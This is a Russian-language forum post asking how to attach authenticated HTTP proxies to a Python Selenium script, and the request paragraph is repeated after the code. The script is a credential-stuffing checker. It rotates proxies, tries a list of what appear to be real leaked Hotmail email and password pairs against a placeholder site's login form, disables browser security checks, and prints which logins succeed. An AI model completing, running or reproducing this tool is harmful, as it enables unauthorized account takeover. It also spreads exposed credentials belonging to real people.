Доброго времени суток, при разработке костыля возникли трудности, завис на этапе подключения прокси.
Проблема в подключении прокси с авторизацией, не могу понять как подключить http прокси с авторизацией (ip:port:user:password), пробовал несколько библиотек (browsermobproxy, pyproxy и т.п), ниче не катит.
Суть проста - натягивается прокси на chrome, открывается окно с сайтом -> поиск input -> заполнение -> отправляем форму. Все, пока это финальный этап.
Гуру Python, нужна ваша помощь!
Любая информация для меня важна, заранее благодарю
Python:
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.chrome.options import Options as ChromeOptions
from selenium.common.exceptions import NoSuchElementException, TimeoutException, WebDriverException
import random
proxy_list = [
"http://ip:port:user:password"
]
account_list = [
"jelleman@hotmail.com:mnstudio4zumba",
"alfonsotorres20@hotmail.com:america123",
"helene.melliou@hotmail.com:kryfto"
]
random.shuffle(proxy_list)
random.shuffle(account_list)
for proxy_url, account in zip(proxy_list, account_list):
login, password = account.split(':')
try:
chrome_options = ChromeOptions()
chrome_options.add_argument('--ignore-certificate-errors')
chrome_options.add_argument('--disable-web-security')
chrome_options.add_argument('--no-sandbox')
chrome_options.add_argument(f'--proxy-server={proxy_url}')
driver = webdriver.Chrome(options=chrome_options)
driver.get("https://TARGET.COM/")
username_field = WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, "input_login_id")))
password_field = WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, "input_password_id")))
username_field.send_keys(login)
password_field.send_keys(password)
password_field.send_keys(Keys.RETURN)
try:
error_message = WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, "error-message")))
print(f"Неверные учетные данные: {login}:{password}")
except TimeoutException:
print(f"Успешный вход: {login}:{password}")
except NoSuchElementException as e:
print(f"Элемент не найден: {e}")
except TimeoutException as e:
print(f"Таймаут ожидания: {e}")
except WebDriverException as e:
print(f"Ошибка Selenium WebDriver: {e}")
except Exception as e:
print(f"Произошла неожиданная ошибка: {e}")
finally:
driver.quit()
Проблема в подключении прокси с авторизацией, не могу понять как подключить http прокси с авторизацией (ip:port:user:password), пробовал несколько библиотек (browsermobproxy, pyproxy и т.п), ниче не катит.
Суть проста - натягивается прокси на chrome, открывается окно с сайтом -> поиск input -> заполнение -> отправляем форму. Все, пока это финальный этап.
Гуру Python, нужна ваша помощь!
Любая информация для меня важна, заранее благодарю